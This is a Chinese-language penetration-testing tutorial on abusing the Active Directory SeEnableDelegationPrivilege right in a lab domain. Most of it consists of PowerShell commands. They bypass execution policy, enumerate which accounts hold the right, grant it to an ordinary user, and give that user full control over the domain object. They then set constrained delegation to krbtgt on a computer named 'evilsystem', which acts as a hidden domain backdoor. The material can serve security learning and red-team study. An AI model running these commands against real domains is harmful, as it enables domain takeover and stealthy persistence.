文章目录
1. 前言
SeEnableDelegationPrivilege权限的作用是配置约束性委派。拥有SeEnableDelegationPrivilege权限的人可以配置任意一台主机的约束性委派,但这个权限一般情况下只有域控才有,如果在渗透过程中控制一个拥有SeEnableDelegationPrivilege权限的账户,那基本约等于控制了整个域。
2. SeEnableDelegationPrivilege权限的拥有者是谁?
1. 通过powerview
以下命令需要导入powerview:
Set-ExecutionPolicy Bypass -Scope Process
. ./powerview.ps1
Get-DomainPolicy -Source DC
#看privilegerights的最后一项确定sid为S-1-5-32-544
"S-1-5-32-544"|Convert-SidToName
2. 通过GPO
Get-DomainPolicy -Source DC
type "\\test.com\sysvol\test.com\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
"S-1-5-32-544"|Convert-SidToName
第一条命令得到path的值,用第二条命令读path所指定的文件,看最后一行,确定sid后跟第一步使用"S-1-5-32-544"|Convert-SidToName来获取sid对应的用户:
3.通过UserRights(只在域控上执行有效)
下载地址:https://github.com/shanfenglan/test
Set-ExecutionPolicy Bypass -Scope Process
Import-Module .\UserRights.psm1
Get-AccountsWithUserRight -right SeEnableDelegationPrivilege
3. 如何给其他用户配置SeEnableDelegationPrivilege权限
需要导入userrights
Grant-UserRight -Account zhangsan -Right SeEnableDelegationPrivilege
Get-AccountsWithUserRight -Right SeEnableDelegationPrivilege
给zhangsan账号添加一个任意的spn:
setspn -s test/zhangsan zhangsan
设置zhangsan账号对整个域的完全控制权限:
Add-DomainObjectAcl -TargetIdentity zhangsan -PrincipalIdentity zhangsan -Rights All
验证:
Get-DomainObjectAcl | ?{$_.SecurityIdentifier -match "S-1-5-21-3763276348-88739081-2848684050-1110"} | select objectdn,ActiveDirectoryRights
更新组策略:gpupdate /force
以上四步缺一不可
setspn -U zhangsan #查询zhangsan的spn
4.如何利用拥有SeEnableDelegationPrivilege权限的普通用户
先导入powerview跟userrights
1.查询已有的配置了约束性委派的机器
发现没有配置。
Get-DomainComputer -TrustedToAuth -Domain test.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto
2.确定当前用户具有SeEnableDelegationPrivilege权限
whoami /all
Get-DomainPolicy -Source DC
type "\\test.com\sysvol\test.com\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
对比后发现当前用户的sid在SeEnableDelegationPrivilege的值中。
3.利用当前用户的权限配置主机的约束性委派
Set-ExecutionPolicy Bypass -Scope Process
. ./powerview.ps1
Get-ADObject -Identity "evilsystem" | Set-ADObject -Set @{ "msDS-AllowedToDelegateTo"=("krbtgt/test.com")}
参考文章
域渗透——SeEnableDelegationPrivilege的利用
那些从未听过的高危用户权限
Windows内网协议学习LDAP篇之域权限下
一种深度隐秘的域后门方式